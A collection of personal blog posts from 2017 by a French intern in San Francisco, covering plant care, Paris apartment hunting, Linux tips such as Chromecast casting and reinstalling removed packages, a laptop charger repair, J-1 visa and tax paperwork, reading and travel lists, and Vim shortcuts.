Once a week, twice if the environment is quite hot or luminous. Don't leave standing water. The plant likes moisture. Reduce watering in winter.

Repotting

Every year in March or April, in a slightly bigger pot.

Complementary information

If possible, use good quality soil.

Also, cut off dead parts of leaves (not the whole leaf).

Dieffenbachia

Temperature

18°C to 24°C in Summer and 15 to 18 in Winter. Keep away from heaters, the plant likes moisture. Keep away from air flows.

Light

A significant amount but no direct light.

Watering

Once a week. Don't leave standing water. Reduce watering in Winter.

Repotting

Every other year in March or April, in a bigger pot.

Complementary information

Leaves are poisonous.

Hope this helps, folks!

Resources

Good source of information, in French: http://www.jardiner-malin.fr/
Great article in French, very helpful to me: 24 plantes dépolluantes qui améliorent votre maison

Millennials

2017-09-02T23:50:00+02:00

The Millennial Question, by Simon Sinek.

Living In Paris: Looking For An Apartment In Paris

2017-09-02T22:50:00+02:00

Looking for an apartment in Paris... is a hassle. A lot of demand, too little supply. Not to mention you always - well, almost - need rent guarantors.

First of all, where to look for apartments?

My three favorite ones, that gather ads from many agencies:

Pro tip: enable the alert emails so that you get an email as soon as one ad is posted, or digest emails.

Also, don't forget about agencies' websites. To mention a few:

Arranging a viewing

My tip is to always try to phone them. If no one picks up, them text the person who posted the ad if they wrote their phone number. As a last resort, email them.

In short, the email should look like this:

State who is looking for an apartment (yourself and your gf/bf?)
Is the apartment still on the market? If so, when can you see it?
Your job(s) (CDD, CDI, trial period?), your position(s) (software engineer for instance) and your salaries. Indicate whether you have guarantors or not.
Leave your phone number just in case

Once you've arranged a viewing, you should prepare the documents you are going to have to hand in along with the questions you want to ask.

The documents

In Paris, landlords usually expect people to know what documents are required. However, this might drastically vary from one to another. Here is a list of must and optional ones. If you are extremelly well paid you might not need rent guarantors:

Must

Copies of your ID and your rent guarantors' IDs
You last three payslips (and those or your guarantors)
Last tax notice (avis d'impôts)
Your work contract (or student certificate if still a student) and your guarantors' work contracts or some proof from their employer

Optional but often required

Three last rent receipts (quittances de loyer)
Guarantors' land tax (taxe foncière). More on this here
Guarantors' residence tax (taxe d'habitation). More on this here.
Sworn statement from your guarantors stating they are your guarantors (attestation sur l'honneur)

Rarely required

Last EDF bill or sworn statement that you'be being hosted by someone (meaning you live at someone's place)
Proof of insurance for houses (assurance habitation)
Proof of residency for your guarantors

However, never hand in your bank details before officially signing the apartment lease. Some agencies or landlords ask you to hand in these documents during the viewing. But most of the time, sending them over email is fine. Ask beforehand just in case.

Questions to ask during the viewing

Here are a few questions I used to ask:

Does it come with a refrigerator? Oven/stove, stovetop or range? Washing machine or connections for one? Dishwasher?
Are windows double glazed?
Is the neighborhood quiet and safe?
How much is the brokerage fee? (if not renting directly from the landlord)
How much is the deposit, if any?
What is included in the utilities? Water, electricity, gas, heat, trash removal, Internet access, ...?
If there fiber optic Internet?
Are there window roller shutters?
Is the place ventilated?
How much is the electricity consumption per month? How bad is the insulation? (ask for the building energy performance metrics)
When is the apartment available?
Is the apartment eligible for APL (Aide personnalisée au logement)?
Is there a cave? Bike parking?

Keeping track of the apartments you've found and the viewings you've done

I recommend that you create an Excel file to do that. Here is an extract of mine:

Title of the ad
URL
Price per month
Number of rooms
Arrondissement
Address (if known)
Floor (lift?)
Square meters
Furnished or empty?
Double bed?
Washing machine or connections?
Energy perfomance
Availability (date)
Last email sent date + time (and replies and outcome)
Last phone call date + time (and outcome)
Date of arranged viewing + time
Phone number of the broker/landlord
Viewing date and time
Additional information

That's it! Hope this helps.

Resources

Beware of scammers

Casting To Chromecast On Linux

2017-08-18T15:50:00+02:00

Several options exist when it comes to casting media content from Linux to a Chromecast.

Casting the full desktop

You can use Google Chrome (audio is not supported).

Alternatively, you can use Firefox with fx_cast.

Casting a browser tab

Same as above, use Chrome.

Casting a file

Two options:

Either VLC 3.0 (but it does not support subtitles yet)
Or castnow

With VLC, open it and go to Preferences. Open the tab 'Video' and set Output to 'X11 video output (XCB)'. Then, try to find your Chromecast in the menu Video > Renderer > Scan. If unsuccessful, close it and run vlc from the command line:

 vlc --sout="#chromecast{ip=192.168.1.X}" myfile.mp4

Make sure you replace the IP with the one allocated to the Chromecast.

Another option is to use castnow:

npm install -g castnow
castnow --address '192.168.1.X' myfile.mp4 --subtitles mysubs.srt

Enjoy!

How To Reinstall Deleted Packages On Linux

2017-08-18T15:30:00+02:00

Recently, I inadvertently deleted a whole lot of packages on my Linux distribution by deleting one specific package and then running sudo apt-get autoremove. Here is how I reinstalled them automatically, after noticing I could not boot the X server up anymore:

awk '/Purge|Remove/ { gsub( /\([^()]*\)/, "" ); gsub(/ ,/, " ");sub(/Install:/,""); print}' /var/log/apt/history.log > repair.txt
sudo apt install $(cat repair.txt)

Hope this helps.

Emotions

2017-08-18T00:50:00+02:00

Source: https://twitter.com/eliistender10/status/883582636567998464 (comments say the true source is http://www.dictionaryofobscuresorrows.com/)

Fasting

2017-06-26T21:50:00+02:00

A Web Project in 2017

2017-05-10T21:50:00+02:00

I am writing this here for posterity, again!

Since February 2017, I am doing an internship in San Francisco. It is focused on web technologies. I am learning a shit ton of stuff everyday. Thus I'd like to apply all these best practices and use my daily tools on ONE BIG PROJECT.

This killer project must include the following things:

JavaScript
- ES7
  - fetch
  - Promises
  - await/async
  - import
  - Etc.
- Web worker
- Node
- React (Fiber?) + Redux
  - Webpack: create-react-app
  - reselect
  - redux-form
- React Native as well?
  - create-react-native-app
- Sequelize: sequelize + sequelize-cli
- Express.js + GraphQL (with subscriptions): express-graphql
- Apollo or Relay
- dotenv
- jsonwebtoken?
- date-fns
- storybook?
- Server-side rendering with Next.js? create-next-app
- memoizee for external API calls made by the server
Progressive Web App
- Service worker (makes app available offline)
- Progressive Web Apps (Cyril Balit - Florian Orpelière)
- Notifications
CSS
- Variables
- Flexbox
- Grid
- CSS masks
- Tachyons
Testing/CI/Production
- jest-cli
- standard-version
- Travis-ci.org
- Now.sh?
Tools
- yarn
- pm2
- Prettier for code formatting
- Flow: flow-bin
- Chrome extensions
  - React Developer Tools
  - Redux DevTools
  - Apollo Client Developer Tools
  - Lighthouse
- PageSpeed Insights
Other
- PostgreSQL or SQLite
- asm.js or WebAssembly (preferably the latter)
- Physical Web

Bonus point if the project uses as many Github badges (meaning CI services) as I referenced on this article.

Reminder for myself: check out this article

Managing One's Time

2017-05-03T20:50:00+02:00

Managing one's time: 6 laws to know

Credit: Paul Brounais.

How To Repair A Laptop Charger

2017-05-02T21:50:00+02:00

A few months ago, my laptop charger started to malfunction. It had to be in a certain position to charge the battery and supply power the my laptop. Recently, this had become really annoying. It was getting worse and worse, so bad that sometimes my laptop would shut down abruptly without any kind of warning as the battery was empty.

Therefore, I decided to replace the defective charger. I searched the Internet, looking for the same charger, with no luck. All I found were cheap chargers selled by some weird Chinese sellers with poor reviews on Ebay and Amazon.

In the end, since I could not find the right replacement charger with the same connector and the right specifications, I decided to make my own! Here is how.

How to make your own laptop charger

Basically, one can replace a laptop charger with any other one on three conditions:

Output voltage has to be the same
Output amperage has to be either the same or higher than the original charger
Polarity has to be the same

All I needed was a power brick (AC/DC converter) meeting the above-mentionned requirements and a cord with the same connector. I decided not to reuse the cord from my original charger. Fortunately, my roommate had an old charger with the matching connector, so I decided to go with that one.

My connector (top) and my roommate's one (bottom)

Here is the replacement charger I bought for $20, with the exact same specs as mine:

My replacement power brick

So, as I said, I used my roommate's charger cord to get a connector suited for my laptop. I made sure to cut near the block so that the cord remained long enough.

Cutting the cord

Then, I split the end in two to separate the two wires.

Splitting the cord

I identified each wire using a multimeter. Since my laptop expects the center of the barrel plug to be the positive contact and the barrel to be negative, I needed to know that to correctly assemble the two parts of my to-be charger.

Identifying wires

I put adhesive tape on the negative one to remember it.

Adhesive tape on negative wire

Then, I cut the connector from the new charger I had just bought. Inside the cord, the two wires were of different colors, one was red and the other blue. Using the multimeter and the connector I had just cut, I identified the negative and positive wires.

Identifying wires

This way, I figured out the blue wire was connected to the barrel and the red one to the center. Since the charger had the same polarity as mine, I knew that the blue wire was negative. Consequently, that wire had to be connected to the wire with adhesive tape.

Both cords ready to be connected

I twisted the wires to connect them and insulated them with electrical tape.

Twisting the wires

Insulating the wires

Insulating the cord

That's all! Now I have a new functionning charger perfectly suited to my laptop.

Open Source

2017-03-07T21:50:00+01:00

Here are a bunch of links for open source project maintainers/creators:

Documentation

Sphinx

Tools/Continuous integration/Continuous testing

Miscellaneous

Make a Pull Request
Keep A Changelog
Issue and Pull Request templates
How to attract new contributors to your open source project
Badgen – Pour générer vos badges SVG
No Maintenance Intended
nikku/works-on-my-machine
Fixing the Support Problem
Checklist for a good open source project on Github: An Open Code Base Is Not Yet an Open Source Project
Github Apps - Welcome
Packager.io
What comes after “open source”
Open source promotion cheat sheet

Getting paid

CodeFund

Free software

Internet ou la révolution du partage

Living In The USA: Visa, Insurance, SSN, and Taxes

2017-02-19T01:50:00+01:00

In this article, I explain and sum up everything one needs to know to apply for a J-1 visa in the US, in order to do an internship. Everything below is based on my experience and on the instructions I received.

Visa

Getting a J-1 visa for the US is a quite long process. First and foremost, a sponsor is required. The most popular sponsor of J-1 visa programs is undoubtedly CIEE, a non-profit organization. But there are others.

CIEE has many partners throughout the world. A good one in France is Parenthèse. It is the one I decided to go with, since my internship company is used to working with them.

Parenthèse's staff is very professional and helpful. They guided me all along the entire process.

However, should you decide to deal with CIEE directly, with no intermediary, you will find everything you need at www.ciee.org/internship-usa.

If my memory serves, the procedure is as follows:

First Parenthèse emailed me a bunch of files to read and fill out (a very long one addressed to CIEE, and a short one for Parenthèse). They also ask for a copy of your passport. Fortunately, you can send them back over email.
Next you pay (roughly 1500€ in total).
By the time they get the money, Parenthèse must have sent your dossier to CIEE. You'll be contacted by them, asking you to provide them with your supervisor's details (on a website). Once done, your supervisor at your company will have to complete a form referred to as DS-7002. Then, you and your supervisor will both have to sign this form electronically, on the same website.
After a few days, Parenthèse will receive a mail with your entire dossier (DS-2019, DS-7002, SEVIS fee payment receipt, proof of insurance, and a letter for the social security). They will forward everything to you.
From now on, it is your responsibility to make an appointment at the US embassy. However you will need to complete an online form (the Online Nonimmigrant Visa Application, aka DS-160) beforehand. Upon completion of this form, you will have to pay a fee (152€ as of December 2016) by making a transfer. Once they receive the money, they will enable you to make an appointment. More information about that on this website. Here is the French website to make an appointment.
Finally, you will get to go to the embassy. Bring your passport, DS-2019, DS-7002, DS-160, SEVIS receipt, a 5"x5" photo of you (although a regular passport photo worked for me), and a proof of ties to your home country. Do not expect anything crazy, you'll get asked a couple of questions (like what the purpose of your trip is), fingerprints scanned, and within minutes you're out! Damn stressing though. Make sure you arrive at least 15 minutes early. Here are two links to articles (written in French), about how to prepare for this interview: Visa J1 – L’ambassade and USA: ENTRETIEN À L'AMBASSADE DES ÉTATS-UNIS D'AMÉRIQUE (the latter is outdated).
Roughly a week later, you will receive your passport with your visa. The last step before leaving is to complete the CIEE online orientation, which is basically an introduction to the US and what it's like to live there. You should normally have received an email with a link to that orientation.

Insurance

Getting a visa with CIEE as a sponsor is quite expensive, but there's a reason for that: they provide you with an insurance plan. Not the best for sure - not every expense is refunded and oftentimes you'll pay copays - but it's sufficient for most people. More information on their website.

First, make sure to carry your insurance card and passport with visa with you at all times.

At the airport, you will be required to show the following documents:

Passport with visa
DS-2019
SEVIS fee payment receipt

Then, there are a few things to do in the next few days. In the correct order, these things include:

Registering for SEVIS by calling CIEE at 1-888-268-6245. Make sure you have your DS2019 form with you when calling since they are going to ask for your number, which begins with "N00". Do not register before the DS-2019 program start date. Provide them with your home address, email address, and American phone number at the same time.
If you don't have a Social Security card, print a copy of your i94 number at www.cbp.gov/i94.
If you don't have a Social Security card, register for a Social Security number at least 2 days after registering for SEVIS and 10 days after entering the US: visit your local social security office (find one on www.ssa.gov/locator). You can visit them without any appointment. There, bring:
- Your DS2019 form
- The letter "Dear social security officer", provided by CIEE
- Your passport with your visa
- Your i94 number (make sure to print the page from the official website, they do not accept any other paper).

After you have applied, the Social Security office will provide you with a "Proof of Application" document. This receipt may enable you to receive paychecks and open a bank account. You should check the status of your application within seven to ten days of submission by visiting a social security office. In case of problem, call CIEE. Then the card will arrive by mail within a few weeks (3 tops, otherwise contact CIEE). This card will be valid for your entire life.

It is also advised to get a state ID card to avoid carrying your passport everywhere.

Likewise, opening a bank account could be useful and sometimes necessary to get paid.

You should notify CIEE of any change in US home address, phone number or email address within 10 days of the change.

During your internship, you'll get two online evaluations to complete, one at mid-point and one at the end of the program. Your supervisor will get online evaluations to complete too. Should there be a problem (you or your supervisor didn't get the emails about the evaluation, for example), email CIEE at evals@ciee.org.

Trips outside of the USA

If you intend to go out of the USA temporarily, call CIEE at least 3 weeks prior to your departure. You will have to do some paperwork and CIEE will need to countersign your DS-2019. Each trip cannot exceed 30 days.

Things to do upon departing

Nothing ("Aliens Not Required To Obtain Sailing or Departure Permits"), as far as I remember. Maybe change your personal details on your bank account, such as your home address.

Taxes

First of all, this article from Parenthèse is quite useful for French expats.

Also, here are some resources as to how to file your tax return (form 1040NR-EZ for J1 visas) if you want to do it by yourself instead of using a third party online service such as TaxBack or TurboTax (TurboTax is not compatible with J1 visa holders):

As to me, well I used TaxBack.com. How did it go? Would I recommend their service? Everything you need to know right below.

TaxBack.com for J1 visa holders

Pros

It's the only online service (that I found) that also handles J1 visas.
They take care of everything, which means you save yourself approximatively a day of hassle.
They customer support is very good. They usually respond to emails within a day.
Their website, although a bit old, is convenient. They offer separate pages for each of your tax refund applications, with a step by step timeline showing you where your file is, in regard to the entire process (from submitting the required files and your W2 form to "you got your money on your bank account"). They handle FICA and US tax applications individually, on distinct pages.
An online chat, very responsive.
They take care of sending all the papers to IRS in the US, in your place.
They can transfer your money back to any bank account in the world, in any currency. I believe the IRS is much more restrictive (only a cheque or transfer in USD on a US bank account?).

Cons

EXPENSIVE: oh boy don't you expect them to be cheap. From the amount I was supposed to get back, they subtracted:

Processing fees
Handling fees
Bank transfer fees ($35 per transfer)

Also they applied a very disadventageous exchange rate (USD to EUR): between May 1 and May 11 (today), the official exchange rate fluctuated between 0.83 and 0.84. They used 0.79052 for my transfer, which occured some day between these two dates. You read it well.

Before using their service, you'd better read this page very carefully. As an example, I was supposed to get $1156.91 back from FICA. The processing fee was $231.38 and the handling fee was $46.28. They kept 24% of my refund. Plus a $35 bank transfer fee. Geez! Not sure my time is worth that much money, after all. Maybe I should have taken the time to fill the documents by myself...

Taxes on bank interest for nonresident aliens

This topic is still quite unclear to me, but apparently it's "nontaxable and nonreportable", as per Federal Income Tax Withholding and Reporting on Other Kinds of U.S. Source Income Paid to Nonresident Aliens. Even when you're no longer living in the US.

This other document says:

"My only income was some bank interest. Do I have to file a tax return?"

"A: If you are a nonresident alien, bank interest is excluded from your U.S. income under a special tax rule intended to encourage foreign investment in the United States. "

Good to know: banks and credit unions send every year in January a document (FORM 1099) that lists earned interest only if above $10.

Also bear in mind that some credit unions refer to interest as dividends:

How to Report Dividends from a Credit Union Account
Difference between dividend and interest
1099-DIV Dividend Income: "Certain distributions commonly referred to as dividends actually should be reported as interest"

Finally, a few additional links related to the topic:

That's it! Hope it was helpful.

Living In The USA: Skiing

2017-02-15T20:50:00+01:00

Last weekend, my boss took me to Heavenly Moutain Resort, near Lake Tahoe, at the border between Northern California and Nevada. With his wife and some of their friends, we went there for the weekend. Despite pretty bad road conditions (two major roads closed because of the snow and a mudslide), we eventually made it there, at 6pm on Saturday.

The next day, we had a clear blue sky and great snow on the slopes. Monday was almost as good.

Below is a video of these two days.

This resort is extremely pricey. It was $144.72 (tax incl.) for ski rental (for 2 days). Plus $135 per day to get a lift ticket (so $270 for 2 days). But the view from the top is breathtaking.

One noticeable difference with the French Alps is that ski runs are quite short, at most 15 minutes. At the end of the day, you've spent 1/3 of your time on a chairlift.

All in all, it was a great sojourn! We hit the road again on Monday afternoon, headed back to home.

How To Welcome An Intern

2017-02-10T23:50:00+01:00

Sould I ever hire an intern, this is a note to my future self.

I started a new internship two weeks ago and I felt very welcomed. Just like home. My boss made my first few days much more enjoyable than I would have expected, by making my life easy. In a nutshell, I was provided with:

A place to sleep on the first day
Food
A few Lyft rides to go around
A transit pass (for buses, subway, train) topped up with a few bucks
I was not left alone at the airport upon my arrival

I was introduced to key people soon enough (co-workers mostly) so that on the first day of my internship I already felt comfortable. Likewise, I got to see my workplace before the beginning of my internship.

Finally, I received help and support regarding paperwork and all the stuff I had to do (getting a Social Security Number for instance).

That's it. Of course I am grateful to my boss and would like to thank him. Hopefully, I'll do as well as he did, should I get the chance some day.

Favorite Movies

2017-02-10T00:50:00+01:00

Just like I started listing the books I read, I want to list some of my favorite movies. So here is a first attempt to list them. Of course, I probably forgot lots of them, so I'll keep updating this article occasionally.

For the moment, the list is unordered. I'll certainly re-order that at some point, when it gets confusing and messy.

La La Land: great actors, excellent OST
Whiplash
Birdman
Begin Again: great OST
About time
Dead Poets Society
Good Will Hunting
Forrest Gump
Seven Pouds
Titanic
Avatar
Star Wars movies
Blue Valentine
Drive: great OST
The Great Gatsby
The Shawshank Redemption
Hannibal movies with Hopkins (chronological order for the story): Hannibal Rising, Red Dragon, The Silence of the Lambs, and Hannibal
The Pursuit of Happyness
I Am Legend
The Rocky movies
The Wolf of Wall Street
Ex Machina
Leon The Professional
Inside Lewyin Davis
Juno
Get Out
Limitless
Your name (Japanese anime)
Grave of the Fireflies (Japanese anime)
Whisper of the heart (Japanese anime)
My neighbor Totoro (Japanese anime)
The Wind Rises (Japanese anime)
Wolf Children (Japanese anime)
The Girl Who Leapt Through Time (Japanese anime)
Kiki's Delivery Service (Japanese anime)
When Marnie Was There (Japanese anime)
Catch Me If You Can
Creed movies
Top Gun movies
Harry Potter movies 1 to 6
Blade Runner and Blade Runner 2049
Django Unchained
Cast Away
The Notebook
The Artist
Matrix movies
San Junipero (an episode from the TV series Black Mirror)
Hang the DJ (an episode from the TV series Black Mirror)
Togo (the Disney movie from 2019)
When Harry Met Sally...
Balto (animated movie)

My Travel List

2017-01-31T16:55:00+01:00

USA

Dallas
Redwood State Park
Huston
~~Miami~~
Texas
Mount Rushmore National Memorial
~~Philadelphia (especially the Rocky Statue and the Rocky Steps)~~
Forrest Gump Point in Utah (GPS coordinates: 37.1015063,-109.9908129)
Boston:
- Museum of Fine Arts

Japan

Chureito Pagoda, Kyoto (I've been there, but never climbed the stairs to get the wonderful view of Mount Fuji - Chureito Pagoda)
Miyajima (Itsukushima)
Kanazawa

China

Great Wall of China
Beijing
Shanghai
Lijiang
Yu Garden, Shanghai

Europe

Vienna
Hallstatt, Austria
~~Prague~~
~~Greece~~
Cyprus
~~Berlin, Hamburg and Munich, Germany~~
Scandinavia: Denmark, Sweden, Norway (Geirangerfjord)
~~Finland~~
Italy:
- ~~Rome~~ and Venice
- Colosseum in Verona
- ~~Tower of Pisa~~
~~Madrid~~

Other countries

Iceland (I want to see Northern lights so bad!)
Eldhraun, Iceland
Greenland or Northern Canada
Machu Picchu
Chichen Itza (Mexico)
Mexico City
Marrakech
Rio de janeiro
New Zealand
Moscow
Saint Petersburg
Phuket and Patong, Thailand
Vietnam
Turkey:
- Pamukkale
- Anıtkabir
Malaysia
Philippines
Taiwan (Taipei and Kaohsiung)
Senegal
Australia
Pura Ulun Danu Bratan, Indonesia
Rijeka Crnojevica, Montenegro
Petra, Jordan

Living In The USA

2017-01-30T16:55:00+01:00

Friday, January 27, 2017: I took off from Paris CDG, headed to San Francisco, California. I traveled with WOW Air and had a 2-hour layover in Iceland. We flew over Greenland and Northern Canada. Stunning landscapes!

Greenland

Northern Canada

As I am writing these lines, I already moved in in my new home for the next 6 months: a room in a shared apartment, located between the University of San Francisco and the Painted Ladies. We are only two people living in this apartment. The neighborhood is mostly residential. I am close to many grocery stores, very convenient! Moreover, there is an awesome neighborhood located within a walkable distance, called Hayes Valley, which is supposedly the French neighborhood. Indeed, there is a significant number of French businesses (restaurants, a boulangerie, etc.). The area is known for its artistic shops.

So, what's the purpose of my trip there? Well, I will be interning at a French company who recently (2013) opened offices in San Francisco to expand their business. This internship is the last step required for me to graduade.

In this article, I will explain and describes my daily life there. Hence, this article will be updated on a regular basis.

Places I want to visit/Things I want to do while I'm there

First, I want to take advantage of being in California to travel a bit and expand my knowledge of the American culture. So, I'd like to do and see:

In San Francisco

Go see whales
~~Alcatraz~~
Coit Tower
~~A jazz club (I went to Mr. Tipple's Recording Studio)~~
San Francisco National Cemetery
~~Explore the golden gate park (especially the Japanese stuff)~~
~~Walk on the Golden Gate Bridge~~
Attend a baseball game
~~Go to a concert venue~~ (I went to a stand up comedy show)
Attend an ice hockey match
~~Chinatown~~
~~Japantown~~
~~Union Square~~
~~Grand Hyatt (Love sign)~~
~~Twin Peaks~~
~~Mission Dolores Park~~
~~Baker Beach~~
Bernal Heights Park

Los Angeles

~~The pier which appeared in La La Land~~
The jazz clubs from La La Land (I got to see the Light House cafe from the outside)
Long Beach
~~SpaceX (Hawthorne)~~
~~Malibu~~
~~Griffith Observatory~~
~~Santa Monica (go to the pier)~~

Las Vegas

~~The Roller Coaster (New York-New York Hotel)~~

Other

Stanford University
~~Yosemite National Park~~
~~Brice Canyon~~
~~Zion National Park~~
~~Sequoia National Park~~
Sonoran desert

Let us now talk about my first few days on the American soil.

Cell phone plans

When I started looking for cell phone plans, I quickly realized how expensive they are here in the US. There are basically four big companies driving the market (known as the Big Four), namely T-Mobile, Verizon, AT&T and Sprint. Appart from them, there are dozens of MVNOs operating on the Big Four's networks. Note that in America, there are different kind of technlogies in use. The two most common ones are CDMA and GSM. In Europe, the huge majority of people rely on GSM. However, phones are nowadays compatible with both technologies (at least the newest phones).

At first, I wanted to go with MetroPCS, an MVNO which uses T-Mobile as a host network. I wasn't entirely sure my phone would work with CDMA, and since MetroPCS (and T-Mobile) are based on GSM, it sounded like a good plan. Plus they have a $30 plan with everything unlimited (including data at 3G speed) and 3GB of 4G. Decent. Turned out that, for some reason, my phone did not detect their SIM card so I ended up with T-Mobile and a $40 plan which offers pretty much the same features.

Compared to my 20€ all unlimited plan with 50GB of 4G, back in France, well that's damn expensive.

Housing

Not as bad as it is in Amsterdam (in 2015 I had to find a place there, a total disaster) but yet quite complicated. I found my room on www.craigslist.com, which I would definitely recommend. I read somewhere that www.easyroommate.com is not bad either.

Luckily, my appointment to see the room was on the day following my arrival, so I was able to move in that very same day.

Bedding

However, my "landlord" could not provide me with bed sheets. He however suggested that I go to ROSS to get some, since they are fairly cheap there. I had a hard time figuring out how bed sheet sizes work in the US. I learned the hard way that they go by weird names: King, Queen, Full to name a few.

Taken from this website

Eventually, I managed to buy bed sheets; I even learned a lot of vocabulary. For instance drap housse translates to fitted sheet, that's good to know!

Banking

In the US, they have not only banks but also credit unions. Confusing at first, I googled the difference. I think I'll choose a credit union to get an account.

Essentially, a credit union is non-profit, so it has lower fees.

Edit: yay I just got my first american debit card! Out of all the credit unions available in San Francisco, I picked Redwood Credit Union. They don't charge any fees as long as I maintain a balance of $75 on my savings account, and I can withdraw money from "other" ATMS three times a month for free. That's perfect for me! They also offer online banking for free... but their website is like 10 years old. Not user-friendly whatsoever. But I don't mind :)

Taxes in the US

It is still a total mystery to me. Apparently, most people pay too much taxes and they can get back a part of it, at the beginning of each year. Below are a few links giving more details about that:

Grocery shopping

Finally, one needs to know that shopping is insane here in America. They have drugstores featuring pharmacies, what a weird concept for a Frenchman like me! Some of them are as big as supermarkets. They also have actual supermarkets and convenience stores. Target, Safeway, CVS, Walgreens, Trader's Joe, you name it! I'm still trying to figure out which one is the cheapest though.

Edit: I went to Trader Joe's a couple of times. I really like it. I think I'll stick with it.

That's it for now. Stay tuned!

Fun stuff to do in San Francisco

Complementary information

Books

2017-01-26T16:50:00+01:00

June 2012 - July 2019

The Walking Dead (comic books), by Robert Kirkman and Charlie Adlard

2016

The New Digital Age: Reshaping the Future of People, Nations and Business, by Eric Schmidt and Jared Cohen
Elon Musk: How the Billionaire CEO of SpaceX and Tesla is Shaping our Future, by Ashlee Vance
1984, by George Orwell
Universal War One (all volumes), by Denis Bajram
Universal War Two (volumes 1 & 2), by Denis Bajram
Zombies and Zombies Néchronologies, by Sophian Cholet, Simon Champelovier and Olivier Peru

2017

Animal Farm, by George Orwell
Universal War Two (volume 3), by Denis Bajram
One Day, by David Nicholls
Here's Negan, by Robert Kirkman and Charlie Adlard
Love Is Love, comic published by DW Publishing, in collaboration with DC Entertainment

2018

Shangri-la, by Mathieu Bablet
La Belle Mort, by Mathieu Bablet
Descender (comic books), by Jeff Lemire and Dustin Nguyen
Delivering Happiness: A Path to Profits, Passion, and Purpose, by Tony Hsieh
Orcs et Gobelins 1 & 2 (comic books), by Jean-Luc Istin, Diogo Saïto, Sylvain Cordurié & Giovanni Lorusso
La Horde du Contrevent 1 (comic book), by Éric Henninot
And a few "first issue" comic books, including Outcast, Riverdale, The Wicked + The Divine, Infinite Dark, Blackbird

Comics I started reading that year

Paper Girls, by Brian K. Vaughan and Cliff Chiang, ended in 2019
Low, by Rick Remender and Greg Tocchini
Die!Die!Die!, by Robert Kirkman and Scott M. Gimple
Saga, by Brian K. Vaughan and Fiona Staples

2019

The Lean Startup, by Eric Ries.
Le code du cycliste, by Ludovic Duprey
Guide des aménagements cyclables, by Paris en Selle
Stoner, by John Edward Williams

Comics I started reading that year

Ascender (comic books), by Jeff Lemire and Dustin Nguyen

2023/2024

Hyperion, by Dan Simmon

2024

The Culture Map, by Erin Meyer

2024/2025

Be Useful: Seven Tools for Life, by Arnold Schwarzenegger

To read

7 romans de science-fiction déprimants et géniaux à lire avant la fin du monde
Goodbye, Things: The New Japanese Minimalism
Winners Take All: The Elite Charade of Changing the World
It Doesn't Have to Be Crazy at Work
World War Z
The Subtle Art of Not Giving a F*ck: A Counterintuitive Approach to Living a Good Life
Les misérables Tome V - Jean Valjean (French Edition)
Les Misérables: Tome IV (Volume 4) (French Edition)
Les Miserables: Tome III - MARIUS (French Edition)
Les misérables: Tome 2 Cosette (Volume 2) (French Edition)
Les Misérables: Tome 1 : Fantine (French Edition)
Germinal (French Edition)
Together Is Better: A Little Book of Inspiration
On the Shortness of Life: Life Is Long if You Know How to Use It (Penguin Great Ideas)
The Pragmatic Programmer: From Journeyman to Master
The Clean Coder: A Code of Conduct for Professional Programmers
Clean Code: A Handbook of Agile Software Craftsmanship
McGraw-Hill's Conversational American English: The Illustrated Guide to Everyday Expressions of American English (McGraw-Hill ESL References)
How to Sound Really Clever
How the French Think: An Affectionate Portrait of an Intellectual People
2001: a Space Odyssey (Space Odyssey Series)
An Astronaut's Guide to Life on Earth: What Going to Space Taught Me About Ingenuity, Determination, and Being Prepared for Anything
Work Rules!: Insights from Inside Google That Will Transform How You Live and Lead

Meat and Dairy Products

2017-01-19T01:50:00+01:00

The video above says at 6'45, that meat brings nothing to the body that cannot be found elsewhere, except for "better" iron. Iron coming from meat is better absorbed by the body, but too much iron might be linked to accrued cancer risks.

Phil Libin Hasn’t Eaten Since Sunday

Vim Tricks

2017-01-18T22:50:00+01:00

Left-right and up-down motions

h, j, k, l: left, down, up, right
^e: scoll window down (ctrl + e)
^y: scroll window up
^f: scroll down one page
^b: scroll up one page
H: move cursor to the top
M: move cursor to the middle
L: move cursor to the bottom
gg: top of file
G: bottom of file
t<char>: till some character
T<char>: till some character (backward)
f<char>: find forward (it will include the found character, unlike till)
F<char>: find backward

Text objects motions

<n> w: n words forward (n is optional)
b: beginning of word
e: end of word
{: beginning of paragraph
}: end of paragraph

Text objects (only in visual mode or after an operator)

s: sentences
p: paragraphs
t: tags (html/xml only)

Copying and moving text / Inserting text

d{motion}: delete/cut (dd to delete entire line)
p: paste (a line that was cut for instance)
c: change (replace)
D / C: delete/change until end of line
y{motion{: yank (yy to copy entire line)
>: indent
^: go to beginning of line
$: go to end of line
I: go to beginning of line and enter insert mode
A: go to end of line and enter insert mode
o: add a new line below and enter insert mode
O: add a new line above and enter insert mode

Examples

General rule: [optional number to repeat]{command}{text object or motion}.

diw: delete in word
caw: change all word (all will grab surrounding whitespaces)
yi(: yank all text inside parentheses
di[: delete between square brackets
va": visually select all inside doublequotes (including doublequotes)
3dd is equal to d2j
3J: join the next three lines into 1 line
d5}: delete from the current line through the end of the fifth paragraph down from here

Registers

:reg: access the registers
i (insert mode) then ^r and a register letter to paste from it, instead of "{register}p.
m{register}: mark a cursor position in some register
`{register}: go back to the marked position
'{register}: go to beginning of line where there is the marked position
d`a: delete from here to position marked in register 'a'

Autocomplete (in insert mode)

^x^n: for just this file
^x^f: for filenames
^x^]: for tags only
^x^l: whole lines
^n and ^p: go back and forth in the suggestion list

(^n is disabled by YouCompleteMe.)

Regex

Interactive find and replace

:%s/foo/bar/gc

% means whole document, not just the current line.

/g means every occurence, not just the first one. /c is the interactive option.

Capturing groups

:%s/abc\(def\)ghi/ko\1ok/g

Will print kodefok.

Non-greedy search

Normally, to search in a non-greedy way, we add a punctuation mark, as in .*? which means any string of characters as short as possible. For instance:

/<.>(.*?)<.>/

Applied to the string abc<p>def<a>ghi<b>jkl would match <p>def<a> and capture def. To make non-greedy searches with Vim, replace *? with \{-}.

Misc

Split the screen in half and display two different parts of a given file

:vsp
:set scrollbind

Then, on the right pane, scroll down or up, further in the file, and do:

:set scrollbind

From that point on, as you scroll on one pane, the other one will follow. To undo:

:set noscrollbind

Other

v: visually select (enters visual mode)
.: repeat the last command
~: invert the case for current char
/: search something (c/myvar, delete and insert from here to myvar)
:earlier 2m: go back to state in history that is 2 minutes old
:cl: to list errors
:cc# to jump to error number #
:cn and :cp: to navigate forward and back
:help ^n: to know about what ctrl n does
:help c_^n: ctrl n in command mode
:help i_^n, :help v_^n: ctrl n in insert mode or visual mode
:helpgrep whatever: search in all documentation, then use :cl, :cc, :cp, :cn

Useful links

TV Sucks

2017-01-16T02:50:00+01:00

Ads. I hate ads. And TV broadcasts a shit ton of commercials.

